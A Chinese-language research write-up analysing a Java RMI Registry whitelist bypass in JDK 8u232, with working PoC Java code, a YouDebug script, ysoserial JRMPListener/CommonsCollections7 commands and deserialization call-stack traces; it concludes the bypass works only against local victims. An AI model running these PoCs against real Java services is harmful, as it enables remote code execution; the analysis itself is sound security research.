标题: Java反序列化利用中绕过Registry白名单检查 创建: 2020-04-21 16:20 更新: 2020-04-22 09:29 链接: https://scz.617.cn/network/202004211620.txt -------------------------------------------------------------------------- 目录: ☆ Registry Whitelist Bypass from An Trinh 1) RMIRegistryServer.java 2) EvilRMIRegistryClientWithUnicastRemoteObjectFail.java 2.1) 攻击失败的原因 2.2) 利用YouDebug起死回生 3) 自定义RegistryImpl_Stub.rebind() 4) 攻击得手后的简化版调用关系 5) Hans Martin Munch的失策 6) 无论如何绕不过源IP检查 ☆ 参考资源 -------------------------------------------------------------------------- ☆ Registry Whitelist Bypass from An Trinh 参[1],第20页,思路是An Trinh原创,但他未给细节。Hans Martin Munch在[2]中 补了一半细节。 An Trinh水平较高,2019年Zimbra的两个CVE是他发现的: CVE-2019-9670(XXE/SSRF) CVE-2019-6980(反序列化) 不过他一贯风格是不给细节。后来中国人fnmsd提供上面两个CVE的复现细节。 Hans Martin Munch比An Trinh开放,分享过不少有趣的思路,比如用YouDebug搞 CVE-2017-3241。 ysoserial.payloads.JRMPClient是设法让受害者扮演"DGC Client"的角色,使之访 问恶意"DGC Server"。受害者反序列化来自后者的恶意Object时有默认过滤器,参看 sun.rmi.transport.DGCImpl.checkInput()的实现。 An Trinh的新思路是设法让受害者扮演"RMI Registry Client"的角色,使之访问恶 意"RMI Registry Server"。受害者反序列化来自后者的恶意Object时并没有过滤器 参与其中,JEP 290未针对这种场景设置默认过滤器。 简单解释一下名词: DGC Client DGC Server 周知端口 -669196253586618813L RMI Registry Client RMI Registry Server 周知端口 4905912898345647071L RMI Client RMI Server 动态端口 本文演示环境为8u232。 1) RMIRegistryServer.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g RMIRegistryServer.java * java RMIRegistryServer 1099 */ import java.rmi.registry.*; public class RMIRegistryServer { public static void main ( String[] argv ) throws Exception { int port = Integer.parseInt( argv[0] ); LocateRegistry.createRegistry( port ); System.in.read(); } } -------------------------------------------------------------------------- 2) EvilRMIRegistryClientWithUnicastRemoteObjectFail.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file EvilRMIRegistryClientWithUnicastRemoteObjectFail.java */ import java.io.*; import java.lang.reflect.*; import java.util.Random; import java.net.Socket; import java.rmi.Remote; import java.rmi.registry.*; import java.rmi.server.UnicastRemoteObject; import java.rmi.server.RMIServerSocketFactory; import java.rmi.server.RemoteObjectInvocationHandler; import java.rmi.server.ObjID; import sun.rmi.transport.tcp.TCPEndpoint; import sun.rmi.transport.LiveRef; import sun.rmi.server.UnicastRef; public class EvilRMIRegistryClientWithUnicastRemoteObjectFail { public static Object getObject ( String addr, int port ) throws Exception { int i = new Random().nextInt(); ObjID oid = new ObjID( i ); TCPEndpoint te = new TCPEndpoint( addr, port ); LiveRef lr = new LiveRef( oid, te, false ); UnicastRef ur = new UnicastRef( lr ); RemoteObjectInvocationHandler roih = new RemoteObjectInvocationHandler( ur ); RMIServerSocketFactory ssfProxy = ( RMIServerSocketFactory )Proxy.newProxyInstance ( RMIServerSocketFactory.class.getClassLoader(), new Class[] { RMIServerSocketFactory.class, Remote.class }, roih ); Constructor cons = UnicastRemoteObject.class.getDeclaredConstructor( new Class[0] ); cons.setAccessible( true ); UnicastRemoteObject uro = ( UnicastRemoteObject )cons.newInstance( new Object[0] ); Field f_ssf = UnicastRemoteObject.class.getDeclaredField( "ssf" ); f_ssf.setAccessible( true ); f_ssf.set( uro, ssfProxy ); return( uro ); } public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); String newaddr = argv[2]; int newport = Integer.parseInt( argv[3] ); Remote obj = ( Remote )getObject( newaddr, newport ); Registry r = LocateRegistry.getRegistry( addr, port ); r.rebind( "any", obj ); } } -------------------------------------------------------------------------- 启动恶意服务: java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPListener 1099 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here_from_server_3" 启动受害者: java \ -cp "commons-collections-3.1.jar:." \ RMIRegistryServer 2099 启动攻击者: java \ EvilRMIRegistryClientWithUnicastRemoteObjectFail 192.168.65.23 2099 \ 192.168.65.23 1099 这次攻击达不到预期目的。 2.1) 攻击失败的原因 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl_Stub.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/MarshalOutputStream.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/ObjectTable.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/Target.java -------------------------------------------------------------------------- RegistryImpl_Stub.rebind // 8u232 ObjectOutputStream.writeObject // RegistryImpl_Stub:154 ObjectOutputStream.writeObject0 // ObjectOutputStream:348 MarshalOutputStream.replaceObject // ObjectOutputStream:144 if ((obj instanceof Remote) && !(obj instanceof RemoteStub)) // MarshalOutputStream:80 // Remote实例被特殊对待 target = ObjectTable.getTarget((Remote) obj) // MarshalOutputStream:81 // 如果调用过UnicastRemoteObject.exportObject() // 此处返回的target不为null,流程将去83行 if (target != null) // MarshalOutputStream:82 return target.getStub() // MarshalOutputStream:83 // 若流程至此,不再是返回我们传入的Remote实例 -------------------------------------------------------------------------- 如果调用过UnicastRemoteObject.exportObject(),用 ObjectOutputStream.writeObject()序列化输出该UnicastRemoteObject实例时,会 触发MarshalOutputStream.replaceObject(),将UnicastRemoteObject实例替换成另 一种对象实例,攻击链被破坏。 如果不想发生这种替换,可以利用反射将ObjectOutputStream.enableReplace由true 改成false。这是Hans Martin Munch的主意。 2.2) 利用YouDebug起死回生 参[3],YouDebug允许自动化调试执行,设置断点、断点命中后的动作都可以在脚本 中提前定义好。 编辑ModifyRebind.ydb如下: -------------------------------------------------------------------------- vm.methodEntryBreakpoint( "java.io.ObjectOutputStream", "writeObject" ) { if \ ( ( obj instanceof com.sun.tools.jdi.ObjectReferenceImpl ) && ( obj.referenceType().name().equals( "java.rmi.server.UnicastRemoteObject" ) ) ) { println "scz is here" self.enableReplace = false; } } -------------------------------------------------------------------------- 脚本意图很直白,拦截ObjectOutputStream.writeObject(),如果obj是 UnicastRemoteObject类型,将ObjectOutputStream.enableReplace从true改成false。 启动恶意服务: java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPListener 1099 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here_from_server_3" 启动受害者: java \ -cp "commons-collections-3.1.jar:." \ RMIRegistryServer 2099 启动攻击者: java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ EvilRMIRegistryClientWithUnicastRemoteObjectFail 192.168.65.23 2099 \ 192.168.65.23 1099 java \ -jar youdebug-1.6-SNAPSHOT-jar-with-dependencies.jar \ -socket 192.168.65.23:8005 \ ModifyRebind.ydb 3) 自定义RegistryImpl_Stub.rebind() Hans Martin Munch提出自定义RegistryImpl_Stub.rebind(),在writeObject()之前 利用反射修改ObjectOutputStream.enableReplace。他说把这当成课后作业,没有直 接给答案。我给个实测过的PoC: -------------------------------------------------------------------------- private static void rebind ( RegistryImpl_Stub r, String $param_String_1, Remote $param_Remote_2 ) throws Exception { StreamRemoteCall call = ( StreamRemoteCall )r.getRef().newCall( r, operations, 3, interfaceHash ); ObjectOutput out = call.getOutputStream(); ObjectOutputStream oos = ( ObjectOutputStream )out; Field f = ObjectOutputStream.class.getDeclaredField( "enableReplace" ); f.setAccessible( true ); f.set( oos, false ); out.writeObject( $param_String_1 ); out.writeObject( $param_Remote_2 ); r.getRef().invoke( call ); r.getRef().done( call ); } -------------------------------------------------------------------------- 4) 攻击得手后的简化版调用关系 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl_Skel.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/UnicastRef.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/tcp/TCPChannel.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/StreamRemoteCall.java -------------------------------------------------------------------------- RegistryImpl_Skel.dispatch // 8u232 // 进入rebind()分支 RegistryImpl.checkAccess("Registry.rebind") // RegistryImpl_Skel:142 // 前置检查rebind()源IP,不允许远程绑定,这才是大盾 ObjectInputStream.readObject // RegistryImpl_Skel:148 // $param_String_1 = (java.lang.String) in.readObject() // 可以直接打这个位置 ObjectInputStream.readObject // RegistryImpl_Skel:149 // $param_Remote_2 = (java.rmi.Remote) in.readObject() UnicastRemoteObject.readObject UnicastRemoteObject.reexport // UnicastRemoteObject:235 UnicastRemoteObject.exportObject // UnicastRemoteObject:268 UnicastRemoteObject.exportObject // UnicastRemoteObject:346 UnicastServerRef.exportObject // UnicastRemoteObject:383 LiveRef.exportObject // UnicastServerRef:237 TCPEndpoint.exportObject // LiveRef:147 TCPTransport.exportObject // TCPEndpoint:411 TCPTransport.listen // TCPTransport:254 TCPEndpoint.newServerSocket // TCPTransport:335 $Proxy0.createServerSocket // TCPEndpoint:666 // 动态代理机制 RemoteObjectInvocationHandler.invoke RemoteObjectInvocationHandler.invokeRemoteMethod // RemoteObjectInvocationHandler:179 UnicastRef.invoke // RemoteObjectInvocationHandler:227 // invoke(Remote obj, Method method, Object[] params, long opnum) // 这条攻击链上不会遭遇过滤器 TCPChannel.newConnection // UnicastRef:129 // conn = ref.getChannel().newConnection() StreamRemoteCall.executeCall // UnicastRef:161 // call.executeCall() ObjectInputStream.readObject // StreamRemoteCall:270 Hashtable.readObject // ysoserial/CommonsCollections7 Hashtable.reconstitutionPut LazyMap.get Runtime.exec UnicastRef.unmarshalValue // UnicastRef:174 // returnValue = unmarshalValue(rtype, in) -------------------------------------------------------------------------- 本地打8u232可以得手。"RegistryImpl_Skel:142"有前置源IP检查,远程打8u232无 法通过这个检查。 [1]第20页的调用栈栈顶是: sun.rmi.server.UnicastRef.unmarshalValue() sun.rmi.transport.tcp.TCPChannel.newConnection() sun.rmi.server.UnicastRef.invoke() 我觉得这是An Trinh用春秋笔法展示出来的伪栈。TCPChannel.newConnection()跟这 条攻击链无关,仅仅是路过。UnicastRef.unmarshalValue()倒是有可能被利用,但 上图已经在StreamRemoteCall.executeCall()中得手了。 5) Hans Martin Munch的失策 Hans Martin Munch修改ObjectOutputStream.enableReplace的思路可行,但确实有 些失策。如果他认真看过Matthias Kaiser的ysoserial.payloads.JRMPListener,就 不会走这条弯路。 如果用Hans Martin Munch的方案,会有如下调用栈回溯: [1] sun.rmi.transport.ObjectTable.putTarget (ObjectTable.java:171), pc = 0 [2] sun.rmi.transport.Transport.exportObject (Transport.java:106), pc = 6 [3] sun.rmi.transport.tcp.TCPTransport.exportObject (TCPTransport.java:265), pc = 32 [4] sun.rmi.transport.tcp.TCPEndpoint.exportObject (TCPEndpoint.java:411), pc = 5 [5] sun.rmi.transport.LiveRef.exportObject (LiveRef.java:147), pc = 5 [6] sun.rmi.server.UnicastServerRef.exportObject (UnicastServerRef.java:237), pc = 78 [7] java.rmi.server.UnicastRemoteObject.exportObject (UnicastRemoteObject.java:383), pc = 19 [8] java.rmi.server.UnicastRemoteObject.exportObject (UnicastRemoteObject.java:320), pc = 9 [9] java.rmi.server.UnicastRemoteObject. (UnicastRemoteObject.java:198), pc = 26 [10] java.rmi.server.UnicastRemoteObject. (UnicastRemoteObject.java:180), pc = 2 [11] sun.reflect.NativeConstructorAccessorImpl.newInstance0 (native method) [12] sun.reflect.NativeConstructorAccessorImpl.newInstance (NativeConstructorAccessorImpl.java:62), pc = 85 [13] sun.reflect.DelegatingConstructorAccessorImpl.newInstance (DelegatingConstructorAccessorImpl.java:45), pc = 5 [14] java.lang.reflect.Constructor.newInstance (Constructor.java:423), pc = 79 UnicastRemoteObject.exportObject()会触发ObjectTable.putTarget()。 而ObjectOutputStream.writeObject()序列化UnicastRemoteObject实例时会经过如 下函数: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/MarshalOutputStream.java -------------------------------------------------------------------------- /* * sun.rmi.server.MarshalOutputStream.replaceObject */ /** * Checks for objects that are instances of java.rmi.Remote * that need to be serialized as proxy objects. */ protected final Object replaceObject(Object obj) throws IOException { if ((obj instanceof Remote) && !(obj instanceof RemoteStub)) { /* * 81行 */ Target target = ObjectTable.getTarget((Remote) obj); if (target != null) { /* * 83行,不再是返回形参obj */ return target.getStub(); } } return obj; } -------------------------------------------------------------------------- 上述83行处攻击链被破坏,恶意Object不会被送往受害者。 这个新的白名单绕过技术的正确打开方式是像ysoserial.payloads.JRMPListener那 样生成UnicastRemoteObject实例,避免在客户端触发 UnicastRemoteObject.exportObject(),这样就不会调用ObjectTable.putTarget(), 于是"MarshalOutputStream:81"处返回的target为null,这样就不会发生替换。 6) 无论如何绕不过源IP检查 An Trinh的新技术只能用于本机受害者,不能用于远程受害者。假设有本地提权的场 景,或可考虑,远程打1099/TCP就算了。 8u232的"RegistryImpl_Skel:142"处代码是: RegistryImpl.checkAccess("Registry.rebind") 它在检查rebind()的源IP是否是本机。如果不是,流程不会去readObject()。据说 8u141就已经前置源IP检查了。 从防御角度看,条件允许的情况下尽量使用高版本Java吧。 ☆ 参考资源 [1] Far Sides of Java Remote Protocols - An Trinh [2019-12-04] https://www.blackhat.com/eu-19/briefings.html http://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf [2] An Trinhs RMI Registry Bypass - Hans Martin Munch [2020-02] https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/ [3] YouDebug https://github.com/kohsuke/youdebug